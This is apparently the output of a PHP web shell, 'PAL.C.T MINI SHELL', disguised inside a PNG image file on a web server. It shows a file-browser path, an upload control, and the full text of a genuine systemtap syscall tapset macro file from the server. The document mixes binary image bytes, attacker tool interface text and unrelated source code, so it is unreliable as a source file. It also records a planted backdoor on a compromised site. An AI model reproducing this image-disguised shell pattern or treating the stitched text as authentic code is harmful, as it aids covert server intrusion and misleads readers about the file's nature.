php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/systemtap/tapset/linux/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/systemtap/tapset/linux/syscalls.stpm

// syscalls tapset macros
// Copyright (C) 2013-2015 Red Hat Inc.
//
// This file is part of systemtap, and is free software.  You can
// redistribute it and/or modify it under the terms of the GNU General
// Public License (GPL); either version 2, or (at your option) any
// later version.


@define __syscall_nr_gate(syscall_nr)
%(
	# Here we don't care if we're in a compat task or not, we just
	# want to make sure we've got the correct syscall number.
	#
	# If _stp_syscall_nr() fails, that means we aren't in user
	# context. So, skip this call.
	try { if (_stp_syscall_nr() != @syscall_nr) next } catch { next }
%)

@define __syscall_gate(syscall_nr)
%(
	# On some platforms (like s390x and ppc64), the 32-bit
	# syscalls use the same syscall number as the 64-bit
	# syscall. So, we have to check to see if this is a
	# 32-on-64-bit user task.
	@__syscall_gate_compat_simple

	# If _stp_syscall_nr() fails, that means we aren't in user
	# context. So, skip this call.
	try { if (_stp_syscall_nr() != @syscall_nr) next } catch { next }
%)

@define __syscall_gate2(syscall_nr1, syscall_nr2)
%(
	# On some platforms (like s390x and ppc64), the 32-bit
	# syscalls use the same syscall number as the 64-bit
	# syscall. So, we have to check to see if this is a
	# 32-on-64-bit user task.
	@__syscall_gate_compat_simple

	try { __nr = _stp_syscall_nr() } catch { next }
	if ((__nr != @syscall_nr1) && (__nr != @syscall_nr2)) next
%)

@define __syscall_compat_gate(syscall_nr, compat_syscall_nr)
%(
    %( CONFIG_COMPAT == "y" %?
	try { __nr = _stp_syscall_nr() } catch { next }
	if (@__compat_task) {
		if (__nr != @compat_syscall_nr)
			next
	}
	else if (__nr != @syscall_nr)
		next
    %:
	try { if (_stp_syscall_nr() != @syscall_nr) next } catch { next }
    %)
%)

@define __compat_syscall_gate(compat_syscall_nr)
%(
    %( CONFIG_COMPAT == "y" %?
	try { __nr = _stp_syscall_nr() } catch { next }
	if (@__compat_task) {
		if (__nr != @compat_syscall_nr) next
	}
    %)
%)

@define __compat_syscall_gate_negative(compat_syscall_nr)
%(
    %( CONFIG_COMPAT == "y" %?
	try { __nr = _stp_syscall_nr() } catch { next }
	if (@__compat_task) {
		if (__nr == @compat_syscall_nr) next
	}
    %)
%)

@define __syscall_gate_compat_simple
%(
    %( CONFIG_COMPAT == "y" %?
        if (@__compat_task) next
    %)
%)

@define __pointer(val)
%(
    %( CONFIG_COMPAT == "y" %?
	# If this is a compat task, the high bits of a pointer may be
	# garbage.
	(@__compat_task ? (@val & 0xffffffff) : @val)
    %:
	@val
    %)
%)

@define _af_inet_info_u(my_addr_uaddr, addrlen)
%(
  %( systemtap_v >= "2.5" %?
     uaddr_af = _struct_sockaddr_u_sa_family(@my_addr_uaddr, @addrlen)
     if (_struct_sockaddr_u_sa_family(@my_addr_uaddr, @addrlen) =~ "AF_INET.*") {
       uaddr_ip = _struct_sockaddr_u_ip_addr(@my_addr_uaddr, @addrlen)
       uaddr_ip_port = _struct_sockaddr_u_tcp_port(@my_addr_uaddr, @addrlen)
       if (_struct_sockaddr_u_sa_family(@my_addr_uaddr, @addrlen) == "AF_INET6") {
         uaddr_ipv6_flowinfo =  _struct_sockaddr_u_ipv6_flowinfo(@my_addr_uaddr, @addrlen)
         uaddr_ipv6_scope_id =  _struct_sockaddr_u_ipv6_scope_id(@my_addr_uaddr, @addrlen)
       }
     }
  %)
%)

# The following argstr processing is modeled on strace's handling of
# futex. Because it is so complicated and is used in 4 places
# (syscall.futex, syscall.compat_futex, nd_syscall.futex, and
# nd_syscall.compat_futex), a macro is used to handle all the
# details.
@define __futex_argstr(uaddr, op, val, utime, uaddr2, val3)
%(
	if (@op == %{ /* pure */ FUTEX_WAKE_BITSET %}) {
		argstr = sprintf("%p, %s, %d, %#x", @uaddr, _futex_op_str(@op),
				 @val, @val3)
	}
	else if (@op == %{ /* pure */ FUTEX_WAIT %}) {
		argstr = sprintf("%p, %s, %d, %s", @uaddr, _futex_op_str(@op),
				 @val,
				 (@__compat_task
				  ? _struct_compat_timespec_u(@utime, 1)
				  : _struct_timespec_u(@utime, 1)))
	}
	else if (@op == %{ /* pure */ FUTEX_WAIT_BITSET %}) {
		argstr = sprintf("%p, %s, %d, %s, %#x", @uaddr,
				 _futex_op_str(@op), @val,
				 (@__compat_task
				  ? _struct_compat_timespec_u(@utime, 1)
				  : _struct_timespec_u(@utime, 1)), @val3)
	}
	else if (@op == %{ /* pure */ FUTEX_REQUEUE %}) {
		argstr = sprintf("%p, %s, %d, %d, %p", @uaddr,
				 _futex_op_str(@op), @val, @utime,
				 @uaddr2)
	}
	else if (@op == %{ /* pure */ FUTEX_CMP_REQUEUE %}
		 || @op == %{ /* pure */ FUTEX_CMP_REQUEUE_PI %}) {
		argstr = sprintf("%p, %s, %d, %u, %p, %d", @uaddr,
				 _futex_op_str(@op), @val, @utime,
				 @uaddr2, @val3)
	}
	else if (@op == %{ /* pure */ FUTEX_WAKE_OP %}) {
		argstr = sprintf("%p, %s, %d, %u, %p, %s", @uaddr,
				 _futex_op_str(@op), @val, @utime,
				 @uaddr2, _futex_wake_op_str(@val3))
	}
	else if (@op == %{ /* pure */ FUTEX_WAIT_REQUEUE_PI %}) {
		argstr = sprintf("%p, %s, %d, %s, %p", @uaddr,
				 _futex_op_str(@op), @val,
				 (@__compat_task
				  ? _struct_compat_timespec_u(@utime, 1)
				  : _struct_timespec_u(@utime, 1)),
				 @uaddr2)
	}
	else {
		argstr = sprintf("%p, %s, %d", @uaddr, _futex_op_str(@op),
				 @val)
	}
%)

%( systemtap_v <= "2.9" %?
@define __int32_compat(arg)
%(
    %( CONFIG_64BIT == "y" %?
        (@__compat_task ? __int32(@arg) : @arg)
    %:
        (__int32(@arg))
    %)
%)
%)

@define __keyctl_argstr(option, arg2, arg3, arg4, arg5)
%(
        if ((@option == %{ /* pure */ KEYCTL_READ %}) ||
                        (@option == %{ /* pure */ KEYCTL_DESCRIBE %}) ||
                        (@option == %{ /* pure */ KEYCTL_GET_SECURITY %})) {
                argstr = sprintf("%s, %s, %p, %d", _stp_keyctl_cmd_str(@option),
				 _stp_keyctl_keyring_shortcut_str(@arg2),
				 @arg3, @__compat_long(@arg4))
        }
        else if (@option == %{ /* pure */ KEYCTL_UPDATE %}) {
                argstr = sprintf("%s, %d, %s, %d", _stp_keyctl_cmd_str(@option),
				 @__compat_long(@arg2), user_string_quoted(@arg3),
				 @__compat_long(@arg4))
        }
        else if ((@option == %{ /* pure */ KEYCTL_REVOKE %}) ||
                        (@option == %{ /* pure */ KEYCTL_CLEAR %}) ||
                        (@option == %{ /* pure */ KEYCTL_INVALIDATE %}) ||
                        (@option == %{ /* pure */ KEYCTL_ASSUME_AUTHORITY %})) {
                argstr = sprintf("%s, %d", _stp_keyctl_cmd_str(@option),
				 @__compat_long(@arg2))
        }
        else if ((@option == %{ /* pure */ KEYCTL_LINK %}) ||
                        (@option == %{ /* pure */ KEYCTL_UNLINK %})) {
                argstr = sprintf("%s, %d, %d", _stp_keyctl_cmd_str(@option),
				 @__compat_long(@arg2), @__compat_long(@arg3))
        }
        else if (@option == %{ /* pure */ KEYCTL_SEARCH %}) {
                argstr = sprintf("%s, %d, %s, %s, %d", _stp_keyctl_cmd_str(@option),
				 @__compat_long(@arg2), user_string_quoted(@arg3),
				 user_string_quoted(@arg4), @__compat_long(@arg5))
        }
        else if (@option == %{ /* pure */ KEYCTL_CHOWN %}) {
                argstr = sprintf("%s, %d, %d, %d", _stp_keyctl_cmd_str(@option),
				 @__compat_long(@arg2), @__compat_long(@arg3),
				 @__compat_long(@arg4))
        }
        else if (@option == %{ /* pure */ KEYCTL_SETPERM %}) {
                argstr = sprintf("%s, %d, %s", _stp_keyctl_cmd_str(@option),
				 @__compat_long(@arg2), _stp_keyctl_perm_str(@arg3))
        }
        else if ((@option == %{ /* pure */ KEYCTL_INSTANTIATE %})) {
                argstr = sprintf("%s, %d, %s, %d, %d", _stp_keyctl_cmd_str(@option),
				 @__compat_long(@arg2), user_string_quoted(@arg3),
				 @__compat_long(@arg4), @__compat_long(@arg5))
        }
        else if ((@option == %{ /* pure */ KEYCTL_INSTANTIATE_IOV %})) {
                argstr = sprintf("%s, %d, %p, %d, %d", _stp_keyctl_cmd_str(@option),
				 @__compat_long(@arg2), @arg3, @__compat_long(@arg4),
				 @__compat_long(@arg5))
        }
        else if (@option == %{ /* pure */ KEYCTL_NEGATE %}) {
                argstr = sprintf("%s, %d, %u, %d", _stp_keyctl_cmd_str(@option),
				 @__compat_long(@arg2), @arg3, @__compat_long(@arg4))
        }
        else if (@option == %{ /* pure */ KEYCTL_REJECT %}) {
                argstr = sprintf("%s, %d, %u, %u, %d", _stp_keyctl_cmd_str(@option),
				 @__compat_long(@arg2), @arg3, @arg4,
				 @__compat_long(@arg5))
        }
        else if (@option == %{ /* pure */ KEYCTL_SET_TIMEOUT %}) {
                argstr = sprintf("%s, %d, %u", _stp_keyctl_cmd_str(@option),
				 @__compat_long(@arg2), @arg3)
        }
        else if (@option == %{ /* pure */ KEYCTL_GET_KEYRING_ID %}) {
                argstr = sprintf("%s, %s, %d", _stp_keyctl_cmd_str(@option),
				 _stp_keyctl_keyring_shortcut_str(@arg2),
				 @__compat_long(@arg3))
        }
        else if (@option == %{ /* pure */ KEYCTL_SET_REQKEY_KEYRING %}) {
                argstr = sprintf("%s, %s", _stp_keyctl_cmd_str(@option),
				 _stp_keyctl_default_keyrings_str(@arg2))
        }
        else if (@option == %{ /* pure */ KEYCTL_JOIN_SESSION_KEYRING %}) {
                argstr = sprintf("%s, %p", _stp_keyctl_cmd_str(@option), @arg2)
        }
        else if (@option == %{ /* pure */ KEYCTL_GET_PERSISTENT %}) {
                argstr = sprintf("%s, %d, %d", _stp_keyctl_cmd_str(@option),
				 @__compat_long(@arg2), @__compat_long(@arg3))
        }
        else {
                argstr = sprintf("%d, %d, %d, %d, %d", @option,
				 @__compat_long(@arg2), @__compat_long(@arg3),
				 @__compat_long(@arg4), @__compat_long(@arg5))
        }
%)

@define __quotactl_argstr(subcmd, arg1, arg2, arg3, arg4)
%(
	if (@subcmd == %{ /* pure */ Q_QUOTAON %}) {
		argstr = sprintf("%s, %s, %s, %s",
		                 _quotactl_cmd_str(@arg1), user_string_quoted(@arg2),
		                 _quotactl_quota_type_str(@arg3),
		                 user_string_quoted(@arg4))
	}
	else if ((@subcmd == %{ /* pure */ Q_GETQUOTA %}) ||
	         (@subcmd == %{ /* pure */ Q_SETQUOTA %})) {
		argstr = sprintf("%s, %s, %d, %s",
		                 _quotactl_cmd_str(@arg1), user_string_quoted(@arg2),
		                 @arg3, _struct_dqblk_u(@arg4))
	}
	else if ((@subcmd == %{ /* pure */ Q_GETINFO %}) ||
	         (@subcmd == %{ /* pure */ Q_SETINFO %})) {
		argstr = sprintf("%s, %s, %d, %s",
		                 _quotactl_cmd_str(@arg1), user_string_quoted(@arg2),
		                 @arg3, _struct_dqinfo_u(@arg4))
	}
	else if (@subcmd == %{ /* pure */ Q_GETFMT %}) {
		argstr = sprintf("%s, %s, %d, %x",
		                 _quotactl_cmd_str(@arg1), user_string_quoted(@arg2),
		                 @arg3, @arg4)
	}
	else if ((@subcmd == %{ /* pure */ Q_SYNC %}) ||
	         (@subcmd == %{ /* pure */ Q_QUOTAOFF %})) {
		argstr = sprintf("%s, %s, %d, %p",
		                 _quotactl_cmd_str(@arg1), user_string_quoted(@arg2),
		                 @arg3, @arg4)
	}
	else {
		argstr = sprintf("%s, %p, %d, %p", _quotactl_cmd_str(@arg1),
		                 @arg2, @arg3, @arg4)
	}
%)

# @__compat_ulong() macro adds the ability to distinguish between compat and non-compat
# task to the __ulong() function making it full-featured couterpart to ulong_arg().
@define __compat_ulong(arg)
%(
	%( CONFIG_COMPAT == "y" %?
		(@__compat_task ? __uint32(@arg) : __ulong(@arg))
	%:
		__ulong(@arg)
	%)
%)

# @__compat_long() macro adds the ability to distinguish between compat and non-compat
# task to the __long() function making it full-featured couterpart to long_arg().
@define __compat_long(arg)
%(
	%( CONFIG_COMPAT == "y" %?
		(@__compat_task ? __int32(@arg) : __long(@arg))
	%:
		__long(@arg)
	%)
%)

@define __BIG_ENDIAN
%(
%{ /* pure */
#ifdef __BIG_ENDIAN
  1
#else
  0
#endif
%}
%)
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`